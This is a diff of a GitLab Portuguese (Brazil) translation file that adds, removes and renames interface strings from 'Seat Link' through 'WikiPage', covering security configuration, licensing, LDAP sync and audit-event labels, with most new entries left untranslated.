-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr "Selecione o projeto GitLab para vincular com sua equipe Slack"
msgid "Select Page"
msgstr "Selecionar Página"
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr "Selecione um repositório"
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr "Selecione um repositório de modelos"
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr "Selecionar branch de destino"
-msgid "Select the custom project template source group."
-msgstr "Selecione o grupo de origem dos modelos customizados de projeto."
-
msgid "Select timezone"
msgstr ""
@@ -29573,8 +29375,8 @@ msgstr ""
msgid "Send report"
msgstr "Enviar relatório"
-msgid "Send usage data"
-msgstr "Enviar dados de uso"
+msgid "Send service data"
+msgstr ""
msgid "Sentry API URL"
msgstr ""
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr "Modelos de serviço"
msgid "Service URL"
msgstr "URL de serviço"
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr "Definir requisitos para um usuário entrar. Ative a autenticação obrigatória de dois fatores."
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr "Mostrar todas as atividades"
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr "Mostrar descrição do commit"
msgid "Show complete raw log"
msgstr "Visualizar raw log completo"
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr "Mostrar páginas acima"
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr "Nível de acesso, ascendente"
-
-msgid "SortOptions|Access level, descending"
-msgstr "Nível de acesso, decrescente"
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr "Último contato"
msgid "SortOptions|Last created"
msgstr "Últimos criados"
-msgid "SortOptions|Last joined"
-msgstr "Últimos associados"
-
msgid "SortOptions|Last updated"
msgstr "Últimos atualizados"
@@ -30729,9 +30516,6 @@ msgstr "Nome, decrescente"
msgid "SortOptions|Oldest created"
msgstr "Criação mais antiga"
-msgid "SortOptions|Oldest joined"
-msgstr "Primeiros associados"
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr "Iniciar mais tarde"
msgid "SortOptions|Start soon"
msgstr "Iniciar mais próximo"
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr "Fonte (branch or tag)"
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr "Colocar na lista para commit"
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr "Status:"
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr "Armazenamento:"
msgid "StorageSize|Unknown"
msgstr "Desconhecido"
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr "Permitido criar subgrupos"
@@ -31635,6 +31425,9 @@ msgstr "Domingo"
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr "URL da página de suporte"
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,8 +31599,8 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
-msgstr "Informação de sincronização"
+msgid "Sync LDAP"
+msgstr ""
msgid "Sync now"
msgstr ""
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr "Domínio da equipe"
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr "Modelo"
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr "O Rastreador de Issue é o lugar para adicionar coisas que precisam ser melhoradas ou resolvidas em um projeto"
@@ -32380,6 +32182,9 @@ msgstr "O Rastreador de Issue é o lugar para adicionar coisas que precisam ser
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr "O realçador de caracteres ajuda a manter a linha de assunto com %{titleLength} caracteres e quebra a linha do corpo em %{bodyLength} para que sejam legíveis no git."
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr "A etapa de codificação mostra o tempo desde a entrega do primeiro commit até a criação do merge request. Os dados serão automaticamente adicionados aqui desde o momento de criação do merge request."
-
msgid "The collection of events added to the data gathered for that stage."
msgstr "A coleção de eventos adicionados aos dados coletados para essa etapa."
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "A importação expirará após %{timeout}. Para repositórios que demoram mais tempo, use a combinação clone/push."
@@ -32574,15 +32382,15 @@ msgstr "O convite já foi aceito."
msgid "The invitation was successfully resent."
msgstr "O convite foi reenviado com sucesso."
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr "A etapa de planejamento mostra o tempo que se leva desde a criação de uma issue até sua atribuição à um marco, ou sua adição a uma lista no seu painel. Comece a criar issues para ver dados para esta etapa."
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr "A fase do ciclo de vida do desenvolvimento."
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr "Os agendamentos de pipelines rodam pipelines no futuro, de forma repetida, para branchs ou tags específicas. Esses agendamentos de pipeline terão acesso limitado com base no seu usuário associado."
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr "A etapa de planejamento mostra o tempo do passo anterior até a publicação de seu primeiro conjunto de mudanças. Este tempo será adicionado automaticamente assim que você enviar seu primeiro conjunto de mudanças."
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr "A chave privada a ser usada quando um certificado de cliente é fornecido. Este valor é criptografado."
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr "A etapa de revisão mostra o tempo de criação de uma solicitação de incorporação até sua aceitação. Os dados serão automaticamente adicionados depois que sua primeira solicitação de incorporação for aceita."
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,11 +32562,11 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
-msgstr "A etapa de homologação mostra o tempo entre o aceite da solicitação de incorporação e a implantação do código no ambiente de produção. Os dados serão automaticamente adicionados depois que você implantar em produção pela primeira vez."
+msgid "The specified tab is invalid, please select another"
+msgstr ""
msgid "The start date must be ealier than the end date."
msgstr ""
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr "A etapa de testes mostra o tempo que o GitLab CI leva para executar cada pipeline para a solicitação de incorporação associada. Os dados serão automaticamente adicionados após a conclusão do primeiro pipeline."
-
msgid "The time taken by each data entry gathered by that stage."
msgstr "O tempo necessário por cada entrada de dados reunida por essa etapa."
@@ -32793,9 +32589,6 @@ msgstr "A ação de atualização irá expirar depois de %{number_of_minutes} mi
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr "Os dados de uso estão desabilitados, e não podem ser configurados por meio deste formulário."
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr "O valor situado no ponto médio de uma série de valores observados. Ex., entre 3, 5, 9, a mediana é 5. Entre 3, 5, 7, 8, a mediana é (5+7)/2 = 6."
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr "Houve um problema de comunicação com o seu dispositivo."
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr "Erro ao carregar calendário de atividades."
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,8 +32982,8 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
-msgstr "Ofertas de terceiros"
+msgid "Third-party offers"
+msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
@@ -33285,6 +33078,9 @@ msgstr "O escopo deste painel está reduzido"
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr "Esse diff está recolhido."
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr "Esse diretório"
@@ -33411,7 +33204,7 @@ msgstr "Esta é uma lista de dispositivos com os quais você logou em sua conta.
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr "Para conectar repositórios do GitHub, primeiro você precisa autorizar
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr "Para conectar um repositório SVN, confira %{svn_link}."
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr "Para definir usuários internos, primeiro ative os novos usuários definidos como externos"
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr "Para configurar a autenticação SAML para o seu grupo por meio de um pr
msgid "To set up this service:"
msgstr "Para configurar este serviço:"
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr "Alternar :%{name}: prêmio de emoji."
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr "Amanhã"
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr "Rastreamento"
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr "Acompanhe grupos de issues que compartilhem um tema, em projetos e marcos"
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr "Acompanhe o tempo com ações rápidas"
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr "Desprogramar tarefa"
@@ -35127,9 +34923,6 @@ msgstr "Atualizado"
msgid "Updated %{updated_at} by %{updated_by}"
msgstr "Atualizado em %{updated_at} por %{updated_by}"
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr "Valor"
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr "Várias configurações que afetam o desempenho do GitLab."
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr "Informação de verificação"
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr "Visualizar etiquetas de grupo"
@@ -36097,9 +35902,6 @@ msgstr "Ver no GitLab"
msgid "View job"
msgstr "Ver tarefa"
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr "Ver etiquetas de projeto"
@@ -36202,7 +36007,10 @@ msgstr "Desconhecido"
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
